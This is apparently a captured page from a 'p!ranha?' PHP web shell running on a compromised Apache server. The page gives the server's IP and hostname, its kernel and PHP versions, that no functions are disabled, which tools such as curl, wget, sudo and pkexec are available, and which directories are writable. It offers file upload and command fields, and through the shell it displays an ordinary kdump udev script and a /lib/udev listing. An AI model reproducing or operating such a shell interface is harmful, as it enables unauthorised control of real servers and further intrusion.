p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/udev/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/udev//kdump-udev-throttler
#!/bin/bash
# This util helps to reduce the workload of kdump service restarting
# on udev event. When hotplugging memory / CPU, multiple udev
# events may be triggered concurrently, and obviously, we don't want
# to restart kdump service for each event.

# This script will be called by udev, and make sure kdump service is
# restart after all events we are watching are settled.

# On each call, this script will update try to aquire the $throttle_lock
# The first instance acquired the file lock will keep waiting for events
# to settle and then reload kdump. Other instances will just exit
# In this way, we can make sure kdump service is restarted immediately
# and for exactly once after udev events are settled.

throttle_lock="/var/lock/kdump-udev-throttle"

exec 9>$throttle_lock
if [ $? -ne 0 ]; then
        echo "Failed to create the lock file! Fallback to non-throttled kdump service restart"
        /bin/kdumpctl reload
        exit 1
fi

flock -n 9
if [ $? -ne 0 ]; then
        echo "Throttling kdump restart for concurrent udev event"
        exit 0
fi

# Wait for at least 1 second, at most 4 seconds for udev to settle
# Idealy we will have a less than 1 second lag between udev events settle
# and kdump reload
sleep 1 && udevadm settle --timeout 3

# Release the lock, /bin/kdumpctl will block and make the process
# holding two locks at the same time and we might miss some events
exec 9>&-

/bin/kdumpctl reload

exit 0
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:09
0 / 0
0555
hwdb.d
--
December 20 2023 04:53:10
0 / 0
0755
rules.d
--
December 20 2023 04:53:41
0 / 0
0755
accelerometer
60.82 KB
December 07 2023 14:51:48
0 / 0
0755
ata_id
48.063 KB
December 07 2023 14:51:48
0 / 0
0755
cdrom_id
56.086 KB
December 07 2023 14:51:48
0 / 0
0755
collect
31.539 KB
December 07 2023 14:51:49
0 / 0
0755
kdump-udev-throttler
1.41 KB
June 09 2021 16:09:58
0 / 0
0755
mtd_probe
10.898 KB
December 07 2023 14:51:48
0 / 0
0755
phys-port-name-gen
1.18 KB
December 07 2023 14:51:20
0 / 0
0755
rename_device
15.039 KB
November 16 2020 16:20:20
0 / 0
0755
scsi_id
56.859 KB
December 07 2023 14:51:48
0 / 0
0755
tascam_fpga
0.892 KB
November 05 2016 18:34:04
0 / 0
0755
tascam_fw
1.096 KB
November 05 2016 18:34:04
0 / 0
0755
udev-kvm-check
15.117 KB
November 16 2020 16:20:20
0 / 0
0755
v4l_id
23.305 KB
December 07 2023 14:51:48
0 / 0
0755